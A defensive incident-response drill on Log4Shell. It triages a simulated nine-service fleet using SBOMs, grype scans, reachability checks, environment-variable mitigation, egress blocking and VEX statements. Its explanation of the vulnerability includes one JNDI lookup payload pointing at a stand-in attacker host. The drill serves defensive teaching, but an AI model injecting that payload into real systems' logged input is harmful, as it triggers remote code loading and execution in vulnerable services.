Drill — Vulnerable Dependency Fire Drill

4:52pm, a Friday. A critical CVE just landed in a logging library that half your fleet probably depends on, it's already confirmed exploited in the wild, and Slack is asking "are we affected?" before you've even finished reading the advisory. This drill hands you a nine-service fleet, the SBOMs your pipeline was already generating before today, and the exact CVE family that made this scenario famous — Log4Shell, Apache Log4j2's CVE-2021-44228. Your job in the next hour: turn "half the fleet probably depends on it" into a named list of exactly which services, prove which of those are actually reachable by an attacker rather than merely present in a dependency tree, and ship patches to the ones on fire before you touch the ones that aren't. Work each phase for real before you read the next one — the arithmetic and the judgment calls are the entire skill this drill exists to build.

What actually dropped, and why "patched" turned out to be four releases, not one

☺ Like you're 10: The first fix wasn't the whole fix, and the second wasn't either — you have to know the real finish line, not just the first one you hear about.

On December 9–10, 2021, a remote-code-execution vulnerability in Apache Log4j2 became public — CVE-2021-44228, nicknamed Log4Shell, CVSSv3 base score 10.0. The mechanism: Log4j2's message layout resolves ${...} lookup expressions inside a logged string by default, and one of the built-in lookup types is jndi: — which can point at an attacker-controlled LDAP or RMI server and load a remote Java class. Log a string an attacker controls, and if that string contains ${jndi:ldap://attacker.example/a}, the JVM doing the logging reaches out to attacker.example, fetches a class reference, and runs it — inside your own process, with your own service's credentials. No authentication required. No unusual code path required. Just an ordinary log line.

The fix took four releases to close, not one, and knowing that sequence is the difference between "patched" and merely "patched for the headline CVE":

Step 1 — build the fleet inventory from SBOMs you already have

☺ Like you're 10: Don't re-search every backpack from scratch — pull the order form the cafeteria already keeps and read it.

The slow way to answer "which services are affected" is to re-scan every repo, live, right now, one at a time — that's an hour you don't have, and it duplicates work your pipeline was already doing. The fast way is to query the SBOMs your CI already generates on every build — the whole reason software bills of materials exist as a standing artifact instead of a one-off exercise. Scaffold a stand-in for that fleet inventory — nine services, each with a small CycloneDX SBOM, exactly the shape a Syft run against a real build would have already produced days ago:

mkdir dep-fire-drill && cd dep-fire-drill
mkdir sboms && cd sboms

# service:version — "-" means the log4j family is absent entirely
declare -A FLEET=(
  [checkout-api]=2.14.1
  [partner-gateway]=2.13.3
  [notification-svc]=2.14.1
  [admin-console]=2.11.2
  [reporting-worker]=2.14.1
  [search-indexer]=2.16.0
  [legacy-invoicing]=1.2.17
  [mobile-bff]=-
  [internal-tools-portal]=2.14.1
)

for svc in "${!FLEET[@]}"; do
  v="${FLEET[$svc]}"
  if [ "$v" = "-" ]; then
    art="jackson-databind"; ver="2.13.0"; grp="com.fasterxml.jackson.core"
  elif [[ "$v" == 1.* ]]; then
    art="log4j"; ver="$v"; grp="log4j"
  else
    art="log4j-core"; ver="$v"; grp="org.apache.logging.log4j"
  fi
  printf '{"bomFormat":"CycloneDX","specVersion":"1.5","metadata":{"component":{"name":"%s"}},"components":[{"type":"library","name":"%s","version":"%s","purl":"pkg:maven/%s/%s@%s"}]}\n' \
    "$svc" "$art" "$ver" "$grp" "$art" "$ver" > "$svc.cdx.json"
done
ls

Now the actual sweep — this is the part that takes minutes, not hours, precisely because you're grepping files that already exist instead of cloning nine repos and running nine fresh scans:

# which services even mention the log4j-core artifact?
grep -l '"log4j-core"' *.cdx.json
# admin-console.cdx.json  checkout-api.cdx.json  internal-tools-portal.cdx.json
# notification-svc.cdx.json  partner-gateway.cdx.json  reporting-worker.cdx.json
# search-indexer.cdx.json

# and which mention "log4j" but NOT "log4j-core" — a different artifact worth its own look
grep -l '"log4j"' *.cdx.json
# legacy-invoicing.cdx.json

# exact versions, one pass, every service
for f in *.cdx.json; do
  jq -r '.metadata.component.name as $s | .components[] | select(.name|test("^log4j")) | "\($s): \(.name)@\(.version)"' "$f"
done | sort

admin-console: log4j-core@2.11.2
checkout-api: log4j-core@2.14.1
internal-tools-portal: log4j-core@2.14.1
legacy-invoicing: log4j@1.2.17
notification-svc: log4j-core@2.14.1
partner-gateway: log4j-core@2.13.3
reporting-worker: log4j-core@2.14.1
search-indexer: log4j-core@2.16.0
# mobile-bff not listed — no log4j family artifact in its SBOM at all

Eight hits, one clean absence, in one terminal session. Confirm each one authoritatively with grype reading the SBOM directly — no rebuild, no redeploy, just the file:

grype sbom:checkout-api.cdx.json

NAME        INSTALLED  FIXED-IN  TYPE  VULNERABILITY   SEVERITY
log4j-core  2.14.1     2.17.1    java  CVE-2021-44228  Critical
log4j-core  2.14.1     2.16.0    java  CVE-2021-45046  Critical
log4j-core  2.14.1     2.17.0    java  CVE-2021-45105  High

FIXED-IN reports the earliest version that closes that specific CVE — grype is correctly telling you three separate things are wrong with 2.14.1, not one. The safe floor is the highest of the three: 2.17.1, exactly the number the version table above already told you to target.

Step 2 — reachability: present in the SBOM is not the same as exploitable

☺ Like you're 10: Having the bad lunchbox is step one. Whether it's zipped shut in a backpack or wide open on someone's lap is the question that actually decides who you check first.

Eight services carry a hit. Not all eight get paged tonight. Reachability means: does untrusted input actually reach a log call, and is log4j-core the thing actually formatting that log call — not just sitting in the dependency tree unused. Walk the interesting cases by hand, the way you'd actually do it under pressure:

// checkout-api — src/main/java/.../RequestLoggingFilter.java
// Reachable: logs a header straight from an unauthenticated public request.
log.info("Inbound request: ua={}", request.getHeader("User-Agent"));

// reporting-worker — a batch job, log4j-core present but never actually invoked
// dependency:tree shows it as transitive, pulled in by a reporting library —
// but this service binds SLF4J to Logback, not to log4j-core:
$ mvn dependency:tree -Dincludes=org.apache.logging.log4j
[INFO] com.example:reporting-worker:jar:3.2.0
[INFO] \- com.example:report-templates:jar:1.4.0
[INFO]    \- org.apache.logging.log4j:log4j-core:jar:2.14.1:runtime  # present, never bound

$ find . -name 'StaticLoggerBinder.class' -o -name 'org.slf4j.spi.SLF4JServiceProvider'
./target/classes/META-INF/services/org.slf4j.spi.SLF4JServiceProvider  # -> ch.qos.logback, not log4j2

That's the distinction that matters: reporting-worker has the vulnerable jar on its classpath, but every log call in the service actually routes through Logback's implementation. Log4j2's own message-layout code — the part that resolves ${jndi:...} — never executes, because nothing ever calls into it. Present, not reachable.

# internal-tools-portal — same reachable pattern as checkout-api, BUT:
kubectl -n internal-tools exec deploy/internal-tools-portal -- env | grep LOG4J
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

That env var was set six months ago as part of an unrelated hardening pass on the fleet's base Helm chart — nobody was thinking about this specific CVE at the time, but it happens to be the exact interim mitigation Apache recommended in December 2021. Reachable in principle, protected in practice, today.

Step 3 — score and sequence: a priority matrix, not a flat list of nine names

☺ Like you're 10: Not every kid with the bad lunchbox needs a teacher at their desk in the next five minutes — sort by who's actually about to spill, first.

Cross exposure against reachability against whatever mitigation, if any, is already live. Four bands, each with a real SLA a real on-call rotation could actually hold to:

Applied to all nine services, including the two the reachability walkthrough above didn't cover by name:

Step 4 — buy time with a mitigation while the real patch is still building

☺ Like you're 10: Zip the bad lunchbox shut right now, even though a real repair still has to happen later.

Roll the interim mitigation to every P0 and P1 service immediately — it's not a fix, it's what buys the hours a real patch, rebuild, and rollout need:

# the officially recommended interim mitigation, versions 2.10.0 - 2.14.1 only
kubectl -n prod set env deployment/checkout-api LOG4J_FORMAT_MSG_NO_LOOKUPS=true
kubectl -n prod set env deployment/partner-gateway LOG4J_FORMAT_MSG_NO_LOOKUPS=true
kubectl -n prod rollout status deployment/checkout-api
kubectl -n prod rollout status deployment/partner-gateway

# confirm it actually applied — don't trust the deploy, check the running pod
kubectl -n prod exec deploy/checkout-api -- env | grep LOG4J_FORMAT_MSG_NO_LOOKUPS

The property that env var maps to — log4j2.formatMsgNoLookups — didn't exist before 2.10.0. Anything on an older 2.x line (nothing in this fleet, but worth knowing) can't use the flag at all and needs the jar-surgery mitigation instead — Apache's own documented emergency fallback:

zip -q -d log4j-core-2.9.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

One more layer worth naming: the entire attack requires an outbound connection the app itself initiates. A default-deny egress policy on the affected namespaces — blocking arbitrary outbound LDAP/RMI to the public internet — doesn't require touching a single line of application code and closes the exploit's one unavoidable network hop, even before the env var rolls out.

Step 5 — patch, verify, and write the VEX statements that stop the re-paging

☺ Like you're 10: Fix the latch for real, then write down — permanently — which lunchboxes never needed fixing at all, so nobody keeps re-checking them every single day.

Bump every affected service to ≥ 2.17.1, rebuild, and re-scan the freshly generated SBOM to prove it, not just to feel done:

grype sbom:checkout-api.cdx.json
# No vulnerabilities found

For the services that were never actually exploitable, the finding itself doesn't disappear from a raw scan — log4j-core is still in reporting-worker's dependency tree, and a naive re-scan will flag it again next week, and the week after, training the team to ignore it exactly the way a noisy alert trains an on-call rotation to stop reading pages. The fix for that is a VEX (Vulnerability Exploitability eXchange) statement — a machine-readable justification that travels with the finding instead of living in someone's memory:

{
  "vulnerabilities": [
    {
      "id": "CVE-2021-44228",
      "affects": [{ "ref": "reporting-worker" }],
      "analysis": {
        "state": "not_affected",
        "justification": "code_not_reachable",
        "detail": "log4j-core 2.14.1 is a transitive dependency pulled in by report-templates:1.4.0. SLF4J is bound to Logback at runtime (confirmed via META-INF/services); log4j-core's own message-formatting code never executes. Verified 2026-08-17."
      }
    }
  ]
}

Or the equivalent as a standalone OpenVEX document — the simpler, format-agnostic sibling favored by CISA for exactly this kind of statement:

{
  "@context": "https://openvex.dev/ns/v0.2.0",
  "statements": [
    { "vulnerability": { "name": "CVE-2021-44228" }, "products": ["internal-tools-portal"],
      "status": "affected", "action_statement": "Mitigated fleet-wide via LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Patch to 2.17.1 tracked for this sprint." },
    { "vulnerability": { "name": "CVE-2021-44228" }, "products": ["legacy-invoicing"],
      "status": "not_affected", "justification": "component_not_present",
      "impact_statement": "Running log4j 1.2.17, a different codebase that predates the JNDI lookup feature. Flagged separately for EOL migration." },
    { "vulnerability": { "name": "CVE-2021-44228" }, "products": ["mobile-bff"],
      "status": "not_affected", "justification": "component_not_present" }
  ]
}

File everything — the four patched services, the two mitigated-and-tracked, and the three closed with a VEX justification — as findings in DefectDojo so the whole fleet's disposition lives in one auditable place instead of nine separate Slack threads that nobody can query six months from now.

Milestones

☺ Like you're 10: Tick a box only once you've actually watched it happen on your own screen — a step that "sounds right" isn't the same as one you've verified.

Work these in order. Progress saves in this browser.

That's the whole drill: eight SBOM hits down to four real emergencies, patched and re-verified, with the other four's reasoning written down instead of remembered. For the deeper concepts behind each phase, see Software Bills of Materials, Software Composition Analysis in Depth, Vulnerability Management & Triage, and Dependency & License Risk Management. Syft & Grype and Trivy cover the scanners this drill ran on; DefectDojo covers where the findings and VEX statements actually live afterward. For the real incident this drill is modeled on, read Equifax — an unpatched dependency. Ready for the fuller, continuity version of this exact stage? See Capstone Part 3 — Add an SCA Gate, or step back to Secure a Pipeline — start here.